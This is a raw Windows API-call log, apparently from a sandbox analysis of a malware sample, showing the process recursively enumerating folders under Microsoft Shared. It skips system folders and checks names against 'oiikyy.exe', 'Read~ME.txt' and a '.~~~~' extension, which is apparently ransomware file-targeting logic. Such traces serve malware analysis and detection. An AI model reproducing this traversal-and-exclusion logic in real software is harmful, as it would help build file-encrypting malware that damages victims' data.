	[0069.082] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.082] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", lpString2="C:\\Windows") returned -1
	[0069.082] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.082] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA", lpString2="C:\\System Volume Information") returned -1
	[0069.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0069.082] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.083] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.083] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.083] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.083] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.083] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.083] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0069.083] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.083] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.083] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.083] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.084] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.084] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.084] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0069.084] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0069.084] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0069.084] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0069.084] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0069.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.084] GetCurrentThreadId () returned 0x618
	[0069.084] RtlWakeConditionVariable () returned 0x365f48
	[0069.084] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0069.084] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6f10
	[0069.084] GetCurrentThreadId () returned 0x618
	[0069.085] RtlWakeConditionVariable () returned 0x365f48
	[0069.085] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1
	[0069.085] lstrcmpiW (lpString1="zh-CN", lpString2="Windows") returned 1
	[0069.085] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1
	[0069.085] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1
	[0069.085] lstrcmpW (lpString1="zh-CN", lpString2="AppData") returned 1
	[0069.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", lpSrch="AppData") returned 0x0
	[0069.085] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.085] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", lpString2="C:\\Windows") returned -1
	[0069.085] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.085] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN", lpString2="C:\\System Volume Information") returned -1
	[0069.085] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0069.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.101] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.101] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.101] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.101] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.102] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.102] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0069.102] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.102] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.102] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.102] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.102] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.102] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.102] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0069.102] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0069.102] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0069.102] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0069.102] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0069.102] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.102] GetCurrentThreadId () returned 0x618
	[0069.102] RtlWakeConditionVariable () returned 0x365f48
	[0069.102] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0069.102] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.103] GetCurrentThreadId () returned 0x618
	[0069.103] RtlWakeConditionVariable () returned 0x365f48
	[0069.104] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1
	[0069.104] lstrcmpiW (lpString1="zh-TW", lpString2="Windows") returned 1
	[0069.104] lstrcmpW (lpString1="zh-TW", lpString2=".") returned 1
	[0069.104] lstrcmpW (lpString1="zh-TW", lpString2="..") returned 1
	[0069.104] lstrcmpW (lpString1="zh-TW", lpString2="AppData") returned 1
	[0069.104] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", lpSrch="AppData") returned 0x0
	[0069.104] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.104] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", lpString2="C:\\Windows") returned -1
	[0069.104] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.104] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW", lpString2="C:\\System Volume Information") returned -1
	[0069.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0069.105] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0069.106] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.106] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.106] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.106] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.106] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.106] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0069.106] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.106] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.106] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.106] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.106] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.106] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.106] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0069.106] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="Windows") returned -1
	[0069.106] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="oiikyy.exe") returned 1
	[0069.107] StrStrW (lpFirst="tipresx.dll.mui", lpSrch=".~~~~") returned 0x0
	[0069.107] lstrcmpW (lpString1="tipresx.dll.mui", lpString2="Read~ME.txt") returned 1
	[0069.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.107] GetCurrentThreadId () returned 0x618
	[0069.107] RtlWakeConditionVariable () returned 0x365f48
	[0069.107] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x2, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0069.107] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0069.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.107] GetCurrentThreadId () returned 0x618
	[0069.107] RtlWakeConditionVariable () returned 0x365f48
	[0069.107] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0
	[0069.107] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0069.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0069.108] GetCurrentThreadId () returned 0x618
	[0069.108] RtlWakeConditionVariable () returned 0x365f48
	[0069.108] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1
	[0069.108] lstrcmpiW (lpString1="MSClientDataMgr", lpString2="Windows") returned -1
	[0069.108] lstrcmpW (lpString1="MSClientDataMgr", lpString2=".") returned 1
	[0069.108] lstrcmpW (lpString1="MSClientDataMgr", lpString2="..") returned 1
	[0069.108] lstrcmpW (lpString1="MSClientDataMgr", lpString2="AppData") returned 1
	[0069.108] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr", lpSrch="AppData") returned 0x0
	[0069.108] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.108] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr", lpString2="C:\\Windows") returned -1
	[0069.108] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.108] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr", lpString2="C:\\System Volume Information") returned -1
	[0069.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0069.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0069.113] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.113] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.113] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.113] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.113] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.113] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.113] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.113] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.113] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.113] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.114] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.114] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.114] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1
	[0069.114] lstrcmpiW (lpString1="MSCDM.DLL", lpString2="Windows") returned -1
	[0069.114] lstrcmpW (lpString1="MSCDM.DLL", lpString2="oiikyy.exe") returned -1
	[0069.114] StrStrW (lpFirst="MSCDM.DLL", lpSrch=".~~~~") returned 0x0
	[0069.114] lstrcmpW (lpString1="MSCDM.DLL", lpString2="Read~ME.txt") returned -1
	[0069.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.114] GetCurrentThreadId () returned 0x618
	[0069.114] RtlWakeConditionVariable () returned 0x365f48
	[0069.114] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0
	[0069.114] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0069.114] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6fb8
	[0069.114] GetCurrentThreadId () returned 0x618
	[0069.115] RtlWakeConditionVariable () returned 0x365f48
	[0069.115] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0069.115] lstrcmpiW (lpString1="MSInfo", lpString2="Windows") returned -1
	[0069.115] lstrcmpW (lpString1="MSInfo", lpString2=".") returned 1
	[0069.115] lstrcmpW (lpString1="MSInfo", lpString2="..") returned 1
	[0069.115] lstrcmpW (lpString1="MSInfo", lpString2="AppData") returned 1
	[0069.115] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", lpSrch="AppData") returned 0x0
	[0069.115] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.115] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", lpString2="C:\\Windows") returned -1
	[0069.115] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.115] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo", lpString2="C:\\System Volume Information") returned -1
	[0069.115] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0069.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0069.115] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0069.116] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0069.116] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0069.116] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0069.116] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0069.116] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.116] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0069.116] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0069.116] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0069.116] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0069.116] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0069.116] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0069.116] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0069.116] lstrcmpiW (lpString1="en-US", lpString2="Windows") returned -1
	[0069.116] lstrcmpW (lpString1="en-US", lpString2=".") returned 1
	[0069.116] lstrcmpW (lpString1="en-US", lpString2="..") returned 1
	[0069.116] lstrcmpW (lpString1="en-US", lpString2="AppData") returned 1
	[0069.116] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", lpSrch="AppData") returned 0x0
	[0069.117] lstrlenW (lpString="C:\\Windows") returned 10
	[0069.117] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", lpString2="C:\\Windows") returned -1
	[0069.117] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0069.117] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US", lpString2="C:\\System Volume Information") returned -1
	[0069.117] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27fafc8
	[0069.117] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
